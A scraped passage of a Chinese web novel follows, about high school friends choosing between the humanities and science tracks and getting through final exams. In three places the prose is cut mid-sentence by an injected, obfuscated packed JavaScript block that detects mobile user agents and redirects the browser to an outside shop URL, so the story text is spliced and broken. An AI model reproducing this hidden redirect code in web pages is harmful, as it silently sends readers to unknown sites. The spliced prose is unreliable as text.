东篱夏愣了一下,她记得虞霁月每次在做荒唐事之前,都会拿“柳鸿要找我家长,也得能找着算啊”来安抚她的担心,没想到这次柳鸿还真去找她家长了。 “谁成想啊,他这回真找了。”虞霁月好像蹲得有点累了,站起身来斜倚着墙,“给我爸打电话,结果如我所料吧,没接。” 哇塞,有钱人家就是不一样啊。 空气安静了一瞬,东篱夏实在不知道该作何反应。 虞大老板真对这个闺女管都不管,连闺女班主任电话都不接啊! “柳鸿大概也觉得很没面子,更火大了,然后不知道咋寻思的,直接给我哥打了语音电话。” “你哥?为啥啊?” “谁道呢,大概觉得我哥是明白人,是大榜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069949|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,说的话我能听进去呗。” 虞霁月拧开水龙头洗了把手,从纸巾滚筒撕了一截下来擦了两下,旋即揉成一团丢进垃圾桶,明显有点烦躁, “这神经病还开了免提,估计我哥正骑车在上早八路上呢,他也不管,就一个劲问我哥知不知道我要选文。” 东篱夏小心翼翼地问,“你哥咋说?” 虞霁月站起身照了照镜子,撇了撇嘴,“他说,现在知道了。” 东篱夏:“……” 就这么一句? 不惊讶不劝阻甚至不问两句? “柳鸿大概也被我哥噎了一下。” 虞霁月嘴角弯了弯,这次是真的有点想笑,“然后就赶紧让他好好劝劝我,说什么不能由着我的性子来,要综合考虑未来发展这那那这的。” “然后呢?”东篱夏追问。 “然后我哥就说,”虞霁月转回身,语气轻飘飘的,笑容却更灿烂了一点。 “‘听她的吧,她自己想好了就行。我妹一直挺有主意的,谁也说不过她。’” 东篱夏彻底说不出话了。 她想过虞光风会帮着柳鸿劝,或者至少问几句缘由,却没想到是这种节目。 “柳鸿当时那表情,估计是觉得我们一家子都不可理喻,一个找不到的爹,一个助纣为虐的哥,养出一个我来也不奇怪。他也没辙了,只好把我撵回来上课了。” 两人一时无言。 是啊,到底是什么家庭,能养出虞霁月这种仙人啊? 东篱夏顺带着洗了把手,也扯了张纸,斟酌着词句,“所以你到底为什么这么坚持要学文?就因为喜欢历史政治?” “算是吧,主要还是喜欢历史和膈应物理。” 虞霁月恢复了散漫的老样子,“我真心想不明白,研究一个小木块在斜面上怎么加速减速对我的人生有啥用啊?反正我不喜欢。会有很多喜欢研究这种东西的人去造福科学界的,没必要是我。” “我更喜欢看文字,看故事,看人。历史多有意思啊,朝代的兴衰背后是无数的角力和无数偶然的叠加,去研究冥冥之中的因果不比物理题那些有死解的玩意有意思多了。” “而且说实话,学文竞争压力确实小点,承认这个也不丢人。” “我这个人你也知道,散漫惯了,让我用十分的力气去拼去卷,我做不到。七分是我的舒适区,也是我的极限,在文科赛道用七分力达成的结果,可能得在理科赛道用十分力,那我何不让自己轻松点呢?” 东篱夏听着,一方面觉得她说得每一条都有道理,另一方面又总觉得她还有层更深的东西没说出来。 “再想的话,膈应柳鸿,膈应周益荣呗。本身我对二班也没啥归属感,没准去文科班能如鱼得水呢。” “得了,往回走吧。” 虞霁月揽住她的肩,两个人就这样慢悠悠往回走。 走到一半的时候,虞霁月揽着她的手忽然更用力了些, “还有一个原因。我只告诉你。” 东篱夏郑重地点点头,“你说,我保密。” 虞霁月看着她,那双总是带着点戏谑的眼睛此刻异常认真。 她凑近东篱夏耳边,用只有两人能听到的音量说道, “听着挺矫情的,但我确实不想一直当虞光风的妹妹,不想一直被拿来和我哥比聪明比成绩比这那那这。” 东篱夏第一次从虞霁月的声音里听出来了点破釜沉舟的决绝。 “我要选大文,去一个没有我哥,完全属于我自己的地方。” “自己打片江山,自己当大王,多爽。” 发表完一席中二少女的发言后,虞霁月话音落下,松开了东篱夏的胳膊,率先一步跨进了教室门,留下东篱夏看着她往座位走的背影陷入沉思。 原来是这样。 这才是一个最虞霁月的答案啊。 41. 全知全能 刚刚复课的兴奋劲儿还没过,期末的压力就接踵而至。 江大附中开学第一个月进度有多从从容容游刃有余,最后一个月为了讲完课就有多匆匆忙忙连滚带爬。 老师们好像发了什么疯,非要将网课期间欠的债一次性补齐——课堂容量几乎是刚开学的二倍,作业也随之指数级增长,混着发下来的期末复习题更是雪上加霜。 巨大的压力下,早自习昏昏欲睡的同学越来越多,一进教室就能闻见咖啡混着风油精的怪味儿。 江城的十二月已经有零下十几度,一开窗冷风就会灌满教室,想课间补觉的同学反对开窗,想透透气精神精神好继续学习的同学强烈要求开窗,两派人因为这件事吵了好几次。 最后还是周益荣想出来的招,每节课下课前开五分钟窗户,刚上课再开五分钟窗户,也算有十分钟的通风,也不会让靠窗的同学想休息时被风吹到。 东篱夏胃肠一直不算太健康,不敢多喝咖啡,全靠意念撑着。最困的时候,抄着笔记实在挺不住,就拄着头眯三五分钟,一睁眼睛发现笔记本上尽是鬼画符,自己都认不出来自己记了些什么。 每次东篱夏一醒来,贺疏放就把自己的笔记本往她面前推,她一面为他的细心体贴有点感动,一面又只能感动了——自己写的鬼画符再难认,还是比贺疏放那手狗爬的字好认的。 为了不伤害贺疏放的小心灵,她还只能假装看一看补两句,实际在课后偷摸问虞霁月要笔记。 中考前到底是谁跟她说上高中就好了的? 即使在初三下学期总复习的时候,她也没现在的一半累啊! 二班的同学们也终于有了点清北班的样子,下课打球的人越来越少,甚至连神女盛群瑛课间都罕见地留在座位上刷起了题,贺疏放也暂时放了竞赛,全力扑向期末考。 平安夜的时候周益荣给每个老师都送了包装好的平安果,虞霁月小声凑过身子跟东篱夏蛐蛐,说自己也想给老师送苹果,作为对他们留这么多作业的“差苹”。东篱夏笑着回敬道,那周益荣肯定得告诉老师——别听,是恶苹。 果然苦难造就谐音烂梗。 介于教学进度过于匆匆忙忙连滚带爬,作业多到大家都实在有点崩溃了。 贺疏放想出了个阴招,一套数学卷子,他做单数题,东篱夏做双数题,把自己这部分里有质量的给对方圈出来,太简单或者太偏的就直接放掉。 要是在平常东篱夏断然不会答应,但按这架势,她一宿不睡写到明天早上都写不完,也只能答应了。 不知怎么,虞霁月也放了小说,认真起来了,连上午第一节课间都不再睡觉,午休晚休更是匆匆吃完饭就开始刷题。东篱夏悄悄观察过,数语外物化生史地政,哪科虞霁月都不放过。 实在不像她从前做事只用七分力的风格。 有一次东篱夏实在好奇,偷偷去问她怎么转了性子要当大卷王,虞霁月终于抬了头对她笑笑, “跟跑三千米一个道理,我想知道自己到底能努力到什么程度,以及假如真用上十分力,我的边界到底又在哪里。” “学文之后,应该就没现在这样跟大家一起排名的机会了,趁这次还在理科班,试一把呗。” 意料之外,倒也是情理之中。 压力最大的莫过于甄盼,一下课就长在了东篱夏座位旁,拿着练习册就来问问题,贺疏放有时坐不住想起来走走,也乐得给她腾地方,有时候甚至也在旁边点拨两句。 “太伟大了,你们俩简直就是我的再生父母!”甄盼每次问完题都作出一副热泪盈眶的样,“东妈,贺爸,我的期末就靠你们了!” 东篱夏最知道甄盼,以甄盼的八卦之心,感动肯定是真的,揶揄她跟贺疏放的心也是真的。 “少来这套,下回有题接着问。” 东篱夏笑嘻嘻地把她赶回去,又侧过头对刚坐下来的贺疏放道,“让你一天天说什么何建安是物理的儿子,我是大雪的女儿,这回好了吧?甄盼成你女儿了。” “什么呀,明明是咱俩的女儿。”贺疏放也笑着纠正了一句,说完故意盯着她的神情。 东篱夏到底败下阵来,后悔自己刚才为什么要开贺疏放的玩笑,翻了个白眼,立刻转过头去写生物学案,再不看他。 她上课时候也悄悄观察过甄盼,发现她为了提神,专门带了一个装着清水的小喷雾瓶,一旦困意上涌,就偷偷对着自己的脸猛呲几下,就又继续投入到题海中。 大家确实都是在破釜沉舟、背水一战了。 为了期末考试,就连平时跟他们几个关系有点微妙的周益荣,在期末面前也暂时放下了那点小心思,在几个人讨论题目的时候也会凑过来贡献自己的思路。 有时候贺疏放也会把何建安搬来救急,看到甄盼在之后,他还是下意识想躲。 东篱夏全都看在眼里,心里为甄盼揪着,找了个机会趁何建安去厕所时,假装也去卫生间,在走廊转角来了一个强硬的偶遇。 就凭他之前在竞赛班不小心冒犯到东篱夏后,给她写竞赛题解答思路道歉,她就愿意去相信何建安的底色是一个很善良的人。 最起码,她也得相信甄盼的眼光。 “何建安。”东篱夏鼓起勇气叫住他。 何建安停下脚步,有些诧异地看向她。 东篱夏很少做这样大胆的事,为了甄盼索性豁出去了,认真地解释道, “甄盼这次压力真的很大,她想学理,她父母不同意,这次期末考对她来说特别重要,是她证明自己的机会。我们几个总会有讲不明白的地方,是真的很需要你。” 何建安听了,表情没什么变化,只是简短地回了句“知道了”,便转身走了。 什么意思啊! 大哥的智商就不能分一点给情商啊! 东篱夏在心里无声地呐喊。 但幸好那番话还是起了效果的。 自那以后,要是贺疏放把他拽来当外援,何建安也不再刻意回避。讲题的过程剥离了暧昧,甄盼好像也收了不少小心思,只专注地听,拼命地记。东篱夏在一旁听着,发现自己对很多概念的理解也变得更透彻了。 高强度的复习压得人喘不过气,为了稍作调剂,新年联欢会被安排在了2021年最后一个晚自习,象征性地给了一个半小时时间。 周益荣和甄盼作为班长,显然都没什么筹办的心情,但还是尽责地组织了几个经典项目,譬如抢凳子和谁是卧底一类,几个男生还演了场狼人杀表演赛。 教室里终于响起久违的欢笑声,少年人到底还是在放松时最生动。 元旦假期回来后,二班完成了这学期的最后一次串座,东篱夏和贺疏放坐在了教室最右边的第二排,离着教室右前方的饮水机不远。 有一天,东篱夏正跟贺疏放和虞霁月对着新发数学卷子的填空最后一题争论不休,一会儿三角换元,一会儿柯西不等式,一会儿换权方和,几个法子都试了一遍也不好使。 三个人争得热火朝天,贺疏放甚至把何建安也拉了过来,谁也没发现,刚接完水的盛群瑛就站在旁边听了讨论的全程。 还是虞霁月第一个抬头发现了盛群瑛,“嗯?盛老师也在听?” 几个人从前跟盛群瑛都不大熟悉,看见神女过来都纷纷噤了声。贺疏放手里的笔停了,东篱夏也闭了嘴,三个人齐刷刷看向她,眼里除了惊讶就是拘谨。 空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076479|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气突然安静下来,盛群瑛像是早就习惯,笑容里多少带着点无奈,“怎么突然停了?” 贺疏放最先反应过来,“那自然没有,就是没想到盛老师也对这道题感兴趣。” 盛群瑛的目光很自然地落在几个人桌面的草稿纸上,问道,“我能看看题吗?” 东篱夏连忙把卷子往她那边推了推,盛群瑛接过卷子,身子很自然地往前倾过来,另一只手拄在东篱夏的桌子上,垂眼扫了一遍题目就问道,“你们试过三角换元了?” “试了,”贺疏放接过话,把自己那页草稿翻过来,“把x设成tanθ,后面那个根式能化成三角形式,但合并之后还是有个cosθ的分母消不掉,卡在这了。” 盛群瑛看着题皱了皱眉,“给我支笔呗?” 东篱夏连忙把自己的自动铅递过去,盛群瑛写写画画了不到半分钟,就给了个式子出来, “这题比别的麻烦,换元之后还得用万能代换才能出来,后面那个分式会变成关于t的二次分式,然后再用常规的判别式法或者配凑权方和。对了,你们刚才试过权方和吧?” 贺疏放又点了点头,“试了,但是没配出来。” 盛群瑛好像早有预料,把草稿纸铺在桌子上圈圈画画,“因为换元没选对,用万能代换之后,式子结构会对称很多,这时候再用权方和,约束条件就刚好能套上了。” “我懂了,”东篱夏应道,“所以换元的最终目的是把结构变得好看。” “对,就这个意思。”盛群瑛有点意外地看了眼东篱夏,旋即解释道,“题目设计的时候,应该就是希望考生能看出这个结构的对称性。” 何建安已经默默拿过来自己的草稿纸在一旁跟着算,贺疏放跟虞霁月凑上去看了一会儿,也明白了原理,几个人一脸崇拜地看向盛群瑛。 周益荣也过来凑热闹,恰到好处地接了一句,“我去,盛老师果然厉害。” “啥表情呀,你们一个个的。”盛群瑛被几个人的表情逗得笑了一下,整个人的气质忽然就软了下来。 她把自动铅放回东篱夏笔袋里,又补了一句,“一时想不到也正常,我也是刷题的时候被迫记住的,常规换元解不出来。” 东篱夏迅速抓住能和学神对话的机会,插空问道,“盛老师,你是刚才看一眼就看出关键了吗?” 盛群瑛又露出了那副有点无奈的笑,“哪能呀,把我当啥了。这卷子我昨天做了,记得这题卡人的点在哪儿,接水的时候正好听到你们在讨论,想着能不能有什么新的方法,就停下来听了一下。” “说实话,刚才我也没立刻想起来完整过程,是看到你们草稿纸上面写的式子,才反应过来换元之后的问题的。” 东篱夏没想到,一直高居神坛之上的盛群瑛竟然也不是全知全能的。 “谢谢盛老师,不然我们不知道得讨论到什么时候呢。” 贺疏放爽快地接了一句,盛群瑛再一次端起水杯,把卷子递回给东篱夏,“没事儿,这道题确实难,换元不灵的时候很容易钻牛角尖。” 她说完,刚转身准备回座位,走出两步又停住了,回头看了一眼还在埋头验算的何建安,补了一句,“我记得答案应该是四分之根号三,你们算完可以对一下。” 好吧,神女就算不全知全能,到底还是神女。 然后盛群瑛才真的走开,回到自己远在教室另一边的座位,慢慢喝了口水,重新埋头进题海,一切平静如常。 那天之后,再在走廊遇见盛群瑛,东篱夏发现自己已经能很自然地对她点头微笑了,而盛群瑛通常也会回一个很轻的颔首。 敬畏还在,盛群瑛对她来说却不再像是遥不可及的神明。 42. 且插梅花醉洛阳 期末考试到底还是来了。 期末的座位是按第一次月考的九科排名来排的,一共40人,期中九科排学年第32名的东篱夏成功苟在了第一考场。 第一科语文考试前,她最后在考场外背了一遍《登泰山记》,就匆匆把小红本塞回书包里,跟旁边的虞霁月在走廊里用力拥抱了一下。 “加油加油!” “你也是!” 三天九科,江大附中的学生们连滚带爬地考完,紧绷了大半个月的神经终于松弛了下来。 回到家之后,东篱夏已经没力气享受假期生活,直接倒头就睡,昏天黑地睡了一整天,才感觉期末复习时被透支的精力恢复了一点。 然后就是等待出分了。 期末成绩不像月考那样一科一科慢慢出凌迟学生,而是直接一口气都在app上发布出来,说得好听点,叫给学生们一个痛快。 如她所料,返校前一天上午,周益荣果然在班级群里发布了小道消息——最晚中午12点,app上出分! 班级群里一片【合十】的emoji和【祈祷】的表情包,还有什么“用xxx十年单身换我期末考进学年前一百”的文字表情,甚至有人开始接龙艾特盛群瑛,发什么“求盛老师保佑我们!” 盛群瑛估计也是没办法,回了一个小猪指着自己说“我吗?”的表情包。 都是些什么呀,东篱夏不禁失笑。 考试已经考完了,做题没用了,就只能开始做法了吗? 突然“二班不一般”里又多了一条消息: “app上出了!” 东篱夏屏住呼吸,立刻关掉微信切换到查分app,“2021-2022学年度上学期高一学年期末考试”的成绩查询入口已经从灰色变亮,她一点进去,眼前赫然弹出一个总分—— 672。 江大附中高一高二的考试都不赋分,原始分能考到670已经很高了。 东篱夏几乎要压抑不住内心的狂喜,发现真的不是幻觉之后,才开始看自己的小分。 数学142! 念念不忘,必有回响。 那些与函数图像纠缠的深夜,那些被三角函数变幻折磨得头昏脑胀的午后,那些写满又划掉的演算……一切努力都有了回响,曾经让她无比痛苦一切到底没有辜负她。 靠着虞霁月之前给自己开的大会员,东篱夏发现,自己数学单科排班级第四,学年第十三。 已经很好很好了,她在心里想。 然后是语文英语。 语文124,不算顶级的高分,毕竟大会员的额外情报显示学年最高分131分,但能一直稳定在120以上,已经很不错了。英语137,虽然学年最高有146的奇人,但东篱夏对自己的成绩也算满意,毕竟她的目标就是稳定在135分以上。 数语外三科加起来,403。 这是她主三门第一次上四百。 对江大附中的学生来说,四百分是一道很重要的分水岭。无论是柳鸿还是沈婕都经常在训话时说,要想上清北,语数外三科必须至少得达到400,其他选考科目赋分后得达到280分以上。 第一次听这话时,她还觉得400分离自己遥不可及,这一次却是真真切切地跨了过去。 理综还是相对弱势了一些,物理86,化学92,生物91,文综三科则是在85分上下徘徊,没有拉分。 大会员显示,无论是理六科还是九科的总排名,自己都位列班级第三。 班级前三,是不是也能排进学年前十了。 想到这,东篱夏忽然毫无征兆地开始掉眼泪。 不就是考了个学年前十吗? 怎么突然激动成这样了? 很多时候身处其中的少年们并非不明白,区区一次期末考试,一个阶段的排名,放在漫长的人生维度里简直轻如鸿毛。 它决定不了高考的成绩,定义不了人生的价值,甚至大概率很快就被遗忘在下一场即将到来的考试之后。 但对她们来说,重要的从来不仅仅是分数本身,而是胜利的感觉。 她太需要一次漂漂亮亮的胜利了。 自从中考状元的光环落在自己头上,东篱夏就时时刻刻活在“德不配位”的恐惧里。 她怕那535分是昙花一现的运气,是再也翻不过去的人生巅峰,是小时了了大未必佳的开始。 她怕自己从此只能走在漫长的下坡路上,眼睁睁看着那些真正天赋异禀的人在自己面前绝尘而去。 她怕听到“伤仲永”的议论,更怕自己也打心眼里认同了这种可能。 她需要实实在在的证明,证明给所有人看,更是证明给自己看。 证明自己配得上曾经的荣耀,证明自己拥有持续向上的力量,证明自己并非侥幸,而是确确实实拥有冲击清北的资本。 在漫长的成长岁月和江大附中这堪称种养蛊的地方过于残酷的竞争中,心气无疑是少年人最可贵的东西了。 只有真正胜利过一次,才会打心眼里相信自己可以,相信自己的智力不逊于人,相信自己配得上更灿烂的未来,才会在面对下一次战役时有底气押上更多的筹码。 她擦了擦眼泪,刚刚平复好激动的心情,又有一个念头涌了上来—— 自己考了班级第三,不就意味着原先一直固守前三名的盛群瑛、何建安、虞霁月至少有一个被她超过了吗? 无论是谁,她都觉得很惋惜。 她知道虞霁月有多重视这次机会来知道自己的边界在哪,知道贺疏放也为了这次期末下了苦功夫,更知道这次考试对甄盼选科的重要意义。 此时此刻,她只想立刻去问问朋友们的成绩。 甄盼没有微信,联系不上,可她在面对贺疏放跟虞霁月犹豫了。 主动去问,对方必然也会问自己的成绩,会不会显得自己考好了在炫耀? 尤其是对可能被她冲击下去的霁月。 纠结了半天,东篱夏到底还是退缩了。 算了,有什么都等明天返校再说吧。 最后一次返校,东篱夏刚到教室,就发现屋里已经是乱轰轰一片,不少人挤在黑板前看着什么。她放下书包,也凑到人群外围去,踮起脚尖往里看,才发现黑板上贴的是按要求打印出来的期末成绩单。 等到人群散了散,她才凑近去端详。 没想到这次是何建安考了学年第一,盛群瑛排了班级第二,学年第四。 不知道神女心里作何感想。 根据周益荣的小道消息说,这次一班第一也换了人,明知晚考了学年第二,韩慎谦也被压了一头沦为学年第三。 一想到运动会那个静静坐在角落里写物理必刷题的身影,东篱夏就觉得,拼命成那样的人,考多好都是值得的。 她快速往下扫,盛群瑛后面便是自己的名字,六科排学年第七,九科排学年第九,实在算得上一个漂漂亮亮的翻身仗。 但下一秒东篱夏就意识到了问题所在—— 虞霁月呢? 她急切地往下扫,终于在班级第六的位置看到了熟悉的名字。 虞霁月总分663,排了学年二十二名,数学140,语文英语依旧无敌。语文131,单科学年第一,英语143,也是相当厉害的分数了。物理94,生物96,然后…… 化学59? 她疯了吧! 东篱夏很清楚,其他科目显然是虞霁月期末发了狠学习的结果。但凡她化学是一个正常一点的成绩,哪怕只有85,以其他科目的优异成绩,甚至足以把何建安打下去,冲击学年第一毫无悬念。 但59分的化学硬生生把她的排名拽到了学年二十二。 东篱夏太了解虞霁月了,她相当知道期末这段时间,这个平时只用七分力的大仙人为了挑战自己的极限到底是怎么样拼命地自虐式学习,59分只有可能是她故意考出来的。 她都能想象到,柳鸿看到这个59之后得被气成什么样。 何必呢? 为什么偏偏要这么孤注一掷? 明明都要开辟一片新大陆当大王了,怎么偏偏在旧世界弄这么一遭? 难道又是像之前跑三千米一样,大概知道自己的边界在哪里之后,觉得没必要让自己太难受,就中途放弃开始走步了吗? 也不合逻辑啊。 即使她再了解这位大仙人,也永远无法真正和虞霁月的脑回路同频共振。 身边的又有新的同学挤了上来,她意识到自己不方便在这里待太久,来不及再想虞霁月的59分到底是什么情况,就迅速顺着名单往下看去—— 贺疏放,654,班级第八,学年第三十九。 贺疏放的六科居然进了学年前五十! 她立刻往后看,数学138,物理94,化学98,生物86,语文112,英语126。 语文和英语的进步都相当大了。 她是真心实意替贺疏放高兴。 那些被单双号策略节省出来的时间,那些会议室里两个人共同奋笔疾书的夜晚,一定有一部分被他投入到了语文和英语中。 虽然两科尚有进步空间,总分距离顶尖梯队也多少还有些距离,但偏科明显改善了许多,六科总分进步到班级前十,已经很不容易了。 视线继续下移,东篱夏还差一个最重要名字没有看到。 终于,她在班级第十八,学年八十四的位置找到了甄盼的名字。 学年前一百! 这个成绩对让甄盼的父母同意她学理来说,也应该足够有说服力了。 她从围观成绩单的人群中挤出来,下意识往甄盼的座位上望去,甄盼也感应到她的目光,站起身跑上前来,一把抓住东篱夏的手,“夏夏,我爸妈同意了!” 东篱夏反握住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079794|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,用力点了点头,“太棒了!学年前一百,真好!” 甄盼用力给了东篱夏一个大大的熊抱,兴奋得满脸通红,“我爸妈提前问了柳鸿我的学年排名,知道我考进了前一百之后,就说只要我肯努力,能保持,就可以留在二班学纯理!” “太好了,咱俩还能在一起!”之前所有的担忧尽数化为了此刻的欢欣,她是真心实意地为甄盼高兴。 激动过后,东篱夏忍不住又看向虞霁月的方向,大仙人还是那副无所谓的老样子,一手托着腮帮子,一手写着刚发下来的假期作业。 甄盼顺着她的目光看去,似乎明白了什么,兴奋稍稍收敛,轻轻推了东篱夏一下,“虞老师这次好像没考好,你快去问问她吧。” 东篱夏点点头,回到自己的座位上,转身趴到虞霁月桌面上,小心翼翼地问道,“你那化学,59是咋回事?” 虞霁月却是像从前和她插科打诨时一样眉眼弯弯,“其实没啥,一开始本来也是憋着一股劲,又想看看自己的边界在哪里,又想拿这次考试告诉柳鸿,只要我想学,无论文科理科都能学好,我学文并不是因为我懒,因为我退而求其次。” “不知道为啥,考化学那天早上突然像发疯了一样。那天我坐窗户边上,阳光特别好,从窗户照进来落到卷子上,我刚写了一半,突然福至心灵,觉得好没意思呀。” “啊?” 东篱夏有点难以置信。 “对呗,太没意思了,我为啥要证明给柳鸿看,证明给那些觉得理科才是出路,理科好才是真厉害的人看啊?” 虞霁月笑得很灿烂,明显对自己的杰作很满意,“然后我就算了算前面做的题,觉得差不多能及格就放着了,后面的大题一个字没写,可惜人算不如天算,到最后还是差了一分。” “不过在我哥最厉害的科目上玩这么一遭,确实老爽了。” 东篱夏:“……” 这是人类能想出来的操作吗? 什么行为艺术! 注意到东篱夏错愕的眼神,虞霁月又补了一句,“啊呀,我就是想告诉柳鸿,告诉我爹,我想做好的事一定能做好,我不想做的,谁也别想逼我。” 也确实是一种孤独的抵抗了。 东篱夏想了想,又追问了一句,“把唾手可得的学年第一拱手让人,不会很遗憾吗?你考个理科学年第一再去学文科,多帅啊!” 一听这话,虞霁月乐了,“说啥呢,我期末拼了命学习又不是为了耍帅的。自己的边界在哪儿,答卷子的时候心里就已经有数了,没必要昭告天下。要是真考了理科第一,指不定沈婕也得来劝我别选历史,那不更完蛋了?” 好像每句话都很有道理,做出来的事又偏偏那么荒唐。 东篱夏站起身,对虞霁月张开了双手,虞霁月立刻会意,给了她一个大大的拥抱。 她突然有点伤感,“霁月,我好舍不得你呀,下学期咱俩就不能坐前后桌了。” 虞霁月很快松开了她,脸上仍旧是那副狡黠的笑,“诶呀,放心吧,我都打听好了,文科班的班主任是付观亭,我还能去给他当课代表。咱俩说不定还能一起给他干活呢,反正之后文科班就在隔壁,想我随时来找我玩啊!” 两个人刚坐下,柳鸿就慢悠悠地晃进了教室,开始指挥各科课代表分发假期作业。东篱夏看着眼前迅速堆起的小山,刚刚的感慨瞬间被冲淡了些。 就在大家埋头收拾书包的时候,付观亭突然闪现在门口,给东篱夏递来一沓卷子,说是期末考试的范文,印的虞霁月的58分作文,刚刚才发到语文组,让她给全班发下去。 东篱夏接过来,匆匆对付观亭道谢后就赶紧抱着范文回到教室,趁着放学前的混乱发了下去,自己也拿了一份塞进书包,没来得及细看。 回到家卸下书包,东篱夏才想起那份范文,才窝进沙发里,拿出那张有点皱了的范文来读。 期末考题的立意是对历史洪流中个人选择与时代需要的思辨,大多数人想着写些“可为时代造就有为青年,有为青年奔赴可为时代”什么的总不会出错,基本都获得了48-52的安全分。 直到她看到了虞霁月的这一篇,才知道什么是58分的作文。 全文引经据典,文采斐然,思想深度远超一般应试作文,她一路看下来,心中赞叹不已,直到目光落在结尾处—— “诗万首,酒千觞。几曾着眼看侯王?玉楼金阙慵归去,且插梅花醉洛阳。” 她竟然又一次用了这首词。 东篱夏忽然想起来开学不久的语文晚课,付观亭表扬虞霁月的开学考试作文,标题便是化用朱敦儒的“我是清都山水郎”。 期末考试,虞霁月竟然再次引了同一位词人的句子作为全文的收束,大概也是她个人意志的倾泻。 玉楼金阙慵归去,且插梅花醉洛阳。 高一上就这样结束了,她们到底还是年少轻狂。